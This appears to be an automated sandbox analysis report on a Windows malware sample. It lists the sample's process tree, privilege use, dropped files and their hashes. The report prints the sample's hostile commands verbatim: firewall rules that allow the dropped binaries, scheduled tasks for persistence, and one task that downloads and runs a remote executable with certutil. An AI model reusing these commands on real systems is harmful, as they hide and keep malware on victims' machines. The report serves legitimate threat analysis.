41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827csrss.exe
  • Suspicious behavior: EnumeratesProcesses
    bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exe

    Reported IOCs

    pidprocess
    1708bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    1708bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    1704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    1704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    1684csrss.exe
    1684csrss.exe
    1684csrss.exe
    1684csrss.exe
  • Suspicious use of AdjustPrivilegeToken
    bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exesvchost.execsrss.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege1708bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    Token: SeImpersonatePrivilege1708bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    Token: SeTcbPrivilege1412svchost.exe
    Token: SeTcbPrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeSystemEnvironmentPrivilege1684csrss.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
    Token: SeBackupPrivilege1412svchost.exe
    Token: SeRestorePrivilege1412svchost.exe
  • Suspicious use of WriteProcessMemory
    svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.execmd.execsrss.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1412 wrote to memory of 17041412svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    PID 1412 wrote to memory of 17041412svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    PID 1412 wrote to memory of 17041412svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    PID 1704 wrote to memory of 47721704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.exe
    PID 1704 wrote to memory of 47721704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.exe
    PID 4772 wrote to memory of 49604772cmd.exenetsh.exe
    PID 4772 wrote to memory of 49604772cmd.exenetsh.exe
    PID 1704 wrote to memory of 19441704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.exe
    PID 1704 wrote to memory of 19441704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.exe
    PID 1944 wrote to memory of 38601944cmd.exenetsh.exe
    PID 1944 wrote to memory of 38601944cmd.exenetsh.exe
    PID 1704 wrote to memory of 16841704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exe
    PID 1704 wrote to memory of 16841704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exe
    PID 1704 wrote to memory of 16841704bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exe
    PID 1412 wrote to memory of 35321412svchost.exeschtasks.exe
    PID 1412 wrote to memory of 35321412svchost.exeschtasks.exe
    PID 1412 wrote to memory of 42361412svchost.exeschtasks.exe
    PID 1412 wrote to memory of 42361412svchost.exeschtasks.exe
    PID 1412 wrote to memory of 48601412svchost.exepatch.exe
    PID 1412 wrote to memory of 48601412svchost.exepatch.exe
    PID 1684 wrote to memory of 47881684csrss.exebcdedit.exe
    PID 1684 wrote to memory of 47881684csrss.exebcdedit.exe
Processes 140
  • C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    "C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    PID:1708
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 368
      Program crash
      PID:2968
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 372
      Program crash
      PID:1804
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 372
      Program crash
      PID:4216
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 608
      Program crash
      PID:4528
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 700
      Program crash
      PID:1276
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 700
      Program crash
      PID:2336
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 732
      Program crash
      PID:3320
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 740
      Program crash
      PID:4976
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 732
      Program crash
      PID:2016
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 632
      Program crash
      PID:4252
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 860
      Program crash
      PID:4700
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 824
      Program crash
      PID:3648
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 620
      Program crash
      PID:940
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 756
      Program crash
      PID:3416
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 620
      Program crash
      PID:1600
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 608
      Program crash
      PID:4612
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 768
      Program crash
      PID:484
    • C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
      "C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 332
        Program crash
        PID:4524
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 336
        Program crash
        PID:3524
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 360
        Program crash
        PID:1972
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 632
        Program crash
        PID:2012
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 692
        Program crash
        PID:2460
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 692
        Program crash
        PID:696
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 648
        Program crash
        PID:428
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 716
        Program crash
        PID:1220
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 736
        Program crash
        PID:4924
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          PID:4960
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes"
        Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes
          PID:3860
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:1684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 368
          Program crash
          PID:3452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 388
          Program crash
          PID:624
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 384
          Program crash
          PID:2940
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 544
          Program crash
          PID:3120
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576
          Program crash
          PID:3956
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576
          Program crash
          PID:4600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576
          Program crash
          PID:1344
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          Creates scheduled task(s)
          PID:3532
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          Creates scheduled task(s)
          PID:4236
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864
          Program crash
          PID:2320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864
          Program crash
          PID:4304
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864
          Program crash
          PID:4352
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 932
          Program crash
          PID:4604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 940
          Program crash
          PID:1532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 956
          Program crash
          PID:5080
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          Executes dropped EXE
          PID:4860
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          Modifies boot configuration data using bcdedit
          PID:4788
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 980
          Program crash
          PID:3260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1084
          Program crash
          PID:3640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1100
          Program crash
          PID:2296
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 812
          Program crash
          PID:4984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1080
          Program crash
          PID:3376
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1120
          Program crash
          PID:628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1080
          Program crash
          PID:1916
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1144
          Program crash
          PID:4160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 812
          Program crash
          PID:2348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1680
          Program crash
          PID:4544
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1560
          Program crash
          PID:4224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1832
          Program crash
          PID:3856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1848
          Program crash
          PID:2972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1588
          Program crash
          PID:4584
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1600
          Program crash
          PID:1480
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1972
          Program crash
          PID:692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1604
          Program crash
          PID:4988
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1620
          Program crash
          PID:1780
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1804
          Program crash
          PID:1588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1592
          Program crash
          PID:3140
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1680
          Program crash
          PID:3312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 640
          Program crash
          PID:1908
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1604
          Program crash
          PID:1160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1816
          Program crash
          PID:4632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1836
          Program crash
          PID:360
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 1708 -ip 1708
    PID:2580
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1708 -ip 1708
    PID:4356
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1708 -ip 1708
    PID:4244
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1708 -ip 1708
    PID:4556
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1708 -ip 1708
    PID:836
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1708 -ip 1708
    PID:2780
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1708 -ip 1708
    PID:5080
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1708 -ip 1708
    PID:5064
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1708 -ip 1708
    PID:4856
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1708 -ip 1708
    PID:3752
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1708 -ip 1708
    PID:3188
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
    PID:2196
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1708 -ip 1708
    PID:4084
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1708 -ip 1708
    PID:984
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
    PID:2980
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1708 -ip 1708
    PID:3376
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1708 -ip 1708
    PID:628
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
    Suspicious use of NtCreateUserProcessOtherParentProcess
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:1412
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1704 -ip 1704
    PID:4024
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1704 -ip 1704
    PID:5036
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1704 -ip 1704
    PID:4224
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1704 -ip 1704
    PID:3116
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1704 -ip 1704
    PID:3936
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1704 -ip 1704
    PID:1676
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1704 -ip 1704
    PID:3584
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1704 -ip 1704
    PID:1224
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1704 -ip 1704
    PID:2068
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684
    PID:2288
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684
    PID:4708
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1684 -ip 1684
    PID:1872
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684
    PID:3200
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684
    PID:1860
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684
    PID:4520
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1684 -ip 1684
    PID:2344
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684
    PID:2420
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1684 -ip 1684
    PID:4232
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1684 -ip 1684
    PID:4324
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684
    PID:840
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1684 -ip 1684
    PID:1416
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 1684 -ip 1684
    PID:4532
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1684 -ip 1684
    PID:4568
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684
    PID:3552
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684
    PID:3656
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1684 -ip 1684
    PID:3680
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684
    PID:3888
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 1684 -ip 1684
    PID:1608
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1684 -ip 1684
    PID:3496
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684
    PID:4228
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 1684 -ip 1684
    PID:2500
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684
    PID:4420
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684
    PID:4896
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1684 -ip 1684
    PID:1332
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684
    PID:2416
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1684 -ip 1684
    PID:4468
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684
    PID:4364
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1684 -ip 1684
    PID:4776
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684
    PID:4588
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684
    PID:4960
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1684 -ip 1684
    PID:1820
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684
    PID:4308
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684
    PID:2384
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1684 -ip 1684
    PID:1548
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 1684 -ip 1684
    PID:4660
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684
    PID:3964
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684
    PID:2184
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Discovery
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads
                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

                      MD5

                      13aaafe14eb60d6a718230e82c671d57

                      SHA1

                      e039dd924d12f264521b8e689426fb7ca95a0a7b

                      SHA256

                      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

                      SHA512

                      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

                    • C:\Windows\rss\csrss.exe

                      MD5

                      7da8b9fc5c5a67a06afc0749473f1b6e

                      SHA1

                      7b0c1138015a3a573469e1142e44be65b73979c5

                      SHA256

                      bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

                      SHA512

                      5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

                    • C:\Windows\rss\csrss.exe

                      MD5

                      7da8b9fc5c5a67a06afc0749473f1b6e

                      SHA1

                      7b0c1138015a3a573469e1142e44be65b73979c5

                      SHA256

                      bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

                      SHA512

                      5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

                    • memory/1684-146-0x0000000000400000-0x00000000036C8000-memory.dmp

                    • memory/1684-143-0x0000000005800000-0x0000000005BA7000-memory.dmp

                    • memory/1684-140-0x0000000000000000-mapping.dmp

                    • memory/1704-136-0x0000000000400000-0x00000000036C8000-memory.dmp

                    • memory/1704-133-0x0000000000000000-mapping.dmp

                    • memory/1704-134-0x0000000005425000-0x00000000057CC000-memory.dmp

                    • memory/1708-131-0x0000000005800000-0x0000000005EF6000-memory.dmp

                    • memory/1708-132-0x0000000000400000-0x00000000036C8000-memory.dmp

                    • memory/1708-130-0x0000000005452000-0x00000000057F9000-memory.dmp

                    • memory/1944-138-0x0000000000000000-mapping.dmp

                    • memory/3532-144-0x0000000000000000-mapping.dmp

                    • memory/3860-139-0x0000000000000000-mapping.dmp

                    • memory/4236-145-0x0000000000000000-mapping.dmp

                    • memory/4772-135-0x0000000000000000-mapping.dmp

                    • memory/4788-149-0x0000000000000000-mapping.dmp

                    • memory/4860-147-0x0000000000000000-mapping.dmp

                    • memory/4960-137-0x0000000000000000-mapping.dmp